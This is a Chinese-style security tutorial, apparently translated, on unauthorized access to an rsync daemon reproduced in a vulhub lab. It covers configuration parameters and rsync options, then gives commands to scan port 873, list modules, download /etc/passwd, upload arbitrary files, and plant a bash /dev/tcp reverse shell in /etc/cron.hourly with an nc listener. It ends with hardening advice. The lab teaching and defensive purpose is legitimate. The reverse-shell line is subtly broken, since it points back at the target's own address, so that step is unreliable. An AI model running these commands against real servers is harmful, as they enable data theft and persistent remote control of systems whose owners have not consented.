1. Vulnerability Overview#
rsync is a remote data synchronization tool for Linux/Unix that can synchronize files and directories on the client and server. It runs on port 873 by default. Improper configuration can allow unauthorized access to rsync, allowing users to upload local files and download server files.
The main risks associated with unauthorized access to rsync are:
- Serious information leakage
- Uploading script backdoor files and remote command execution
2. rsync Configuration File#
Parameter | Description |
---|---|
uid | Specifies the username or user ID for file transfer between this module and the client |
gid | Specifies one or more group names/IDs to be used when accessing the module |
use chroot | If true, rsync chroots to the directory specified by the path parameter before transferring files. This provides additional security protection, but requires root privileges and cannot back up directory files pointed to by symbolic links outside the path |
max connections | Specifies the maximum number of concurrent connections for this module to protect the server. Exceeding the limit will result in a message to try again later |
syslog facility | Specifies the message level when rsync sends log messages to syslog |
pid file | The rsync daemon writes its PID to the specified file |
log file | Specifies the log file for the rsync daemon, without sending the log to syslog |
path | Specifies the synchronization path for the current module on the rsync server. This parameter is required |
comment | Specifies a description for the module, which is displayed to the client along with the module name when the client connects to get the module list |
read only | Specifies whether clients are allowed to upload files. If true, uploading is not allowed; if false and the server directory has read and write permissions, uploading is allowed |
auth users | Specifies the authentication username. It can be unset, and if unset, no password is required. If set, it provides higher security |
secrets file | Specifies the password file. If authentication users are set, this must be set, and the password file permission must be set to 400 |
hosts allow | Sets the allowed hosts, which can be a network segment. Multiple IP addresses are separated by spaces |
3. Common rsync Commands#
-a, --archive Archive mode, which means files are transferred recursively and all file attributes are preserved. Equivalent to -rlptgoD (excluding -H)
-v, --verbose Verbose output mode
-r, --recursive Process directories recursively
-l, --links Preserve symbolic links. With this option, synchronized files will retain their previous symbolic link attributes
-H, --hard-links Preserve hard links
-p, --perms Preserve file permissions
-t, --times Preserve file time information
-g, --group Preserve file group information
-o, --owner Preserve file owner information (super-user only)
-D Preserve device files and special files (super-user only)
-e, --rsh=COMMAND Specify an alternative shell program to replace rsh
-z, --compress Compress files during transfer
--stats Provide transfer statistics for certain files
--progress Display the transfer progress during synchronization
--timeout=TIME IP timeout during synchronization, in seconds
--exclude=PATTERN Specify files or subdirectories to be filtered out during synchronization (i.e., not synchronized). Followed by the name of a single file or subdirectory (without the path) that does not need to be synchronized. To filter multiple files or subdirectories, use multiple --exclude options
--exclude-from=FILE Specify files or subdirectories to be filtered out during synchronization. Followed by a file (e.g., /root/exclue.txt), and then put the files and subdirectories that do not need to be synchronized into /root/exclue.txt
--include=PATTERN Specify file matching patterns to be transferred
--include-from=FILE Read inclusion rules from FILE
--copy-unsafe-links Copy link files that point to directories outside the SRC path tree
--safe-links Ignore link files that point to directories outside the SRC path tree (default)
--existing Only update files that already exist on the receiving end, without backing up newly created files
--ignore-existing Ignore files that already exist on the receiving end and only back up newly created files
-b, --backup When changes occur, back up old versions of files in the target directory
--backup-dir=DIR Used in conjunction with -b, stores backed-up files in the DIR directory
--link-dest=DIR Create hard link files based on DIR when files have not changed
--delete Delete excess files in the target directory that do not exist in the source directory. This is the best choice for rsync to perform incremental full backups!!!!!!
--delete-before The receiver performs deletion operations before output. That is, all files in the target directory are deleted first, and then the source directory files are copied over. This is the solution for rsync to keep the target directory consistent with the source directory!!!!!
--delete-after Compare after synchronization and delete excess files in the target directory that do not exist in the source directory
--delete-excluded Delete files in the target directory that are excluded by this option
--ignore-errors Continue deletion even if I/O errors occur
--partial Keep files that have not been completely transferred due to unforeseen circumstances, to speed up subsequent transfers
-P Equivalent to --partial --progress
--delay-updates Save files being updated to a temporary directory (default is ".~tmp~") before completing the transfer
-q, --quiet Simplified output mode
-h, --human-readable Use human-readable units for file sizes (e.g., K, M, etc.)
-n, --dry-run Display which files will be transferred
--list-only List files without copying them
--rsyncpath=PROGRAM Specify the path to the rsync command on the remote server
--password-file=FILE Read the password from FILE to avoid entering the password on the terminal. Usually used when connecting to an rsync server in cron
--version Print version information
--port=PORT Specify an alternative rsync server port
--log-format=formAT Specify the log file format
--password-file=FILE Get the password from FILE
--bwlimit=KBPS Limit I/O bandwidth, in KBytes per second
--help Display help information
-4, --ipv4 Use IPv4
-6, --ipv6 Use IPv6
4. Vulnerability Reproduction#
4.1 Setting up the Target Environment#
Use the vulhub target environment to reproduce the vulnerability
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
unzip vulhub-master.zip
cd vulhub-master/rsync/common
sudo docker-compose up -d
4.2 Scanning the Target System for Open rsync Services#
Use nmap to scan if the target system has open rsync services and perform vulnerability scanning
sudo nmap -p 873 192.168.110.128
sudo nmap -p 873 --script rsync-list-modules 192.168.110.128
4.3 Listing the Synchronization Directories on the Target Server#
Use the rsync command to list and view the synchronization directories on the server
rsync 192.168.110.128::
rsync rsync://192.168.110.128:873/src
rsync 192.168.110.128::src
4.4 Arbitrary File Download#
You can download the /etc/passwd file
sudo rsync -av 192.168.110.128::src/etc/passwd ./
4.5 Arbitrary File Upload#
Upload a file to the server
sudo touch 1.txt && sudo chmod 777 1.txt && echo "test" >> 1.txt
sudo rsync -av 1.txt rsync://192.168.110.128:873/src/1.txt
rsync rsync://192.168.110.128:873/src
4.6 Getting a Shell Using Arbitrary File Upload and Download#
sudo rsync rsync://192.168.110.128:873/src/etc/crontab ./
sudo touch shell && sudo chmod 777 shell && echo "/bin/bash -i >& /dev/tcp/192.168.110.128/8888" >> shell
rsync -av shell rsync://192.168.110.128:873/src/etc/cron.hourly
nc -lvp 8888
5. Vulnerability Fix#
- Modify the default rsync configuration file /etc/rsyncd.conf and add or modify the following parameters:
- Access control: Set host allow to restrict the IP addresses allowed to access the host.
- Permission control: Set read only to make the module read-only.
- Access authentication: Set auth and secrets to require authentication before invoking the service.
- Module hiding: Set list to hide the module.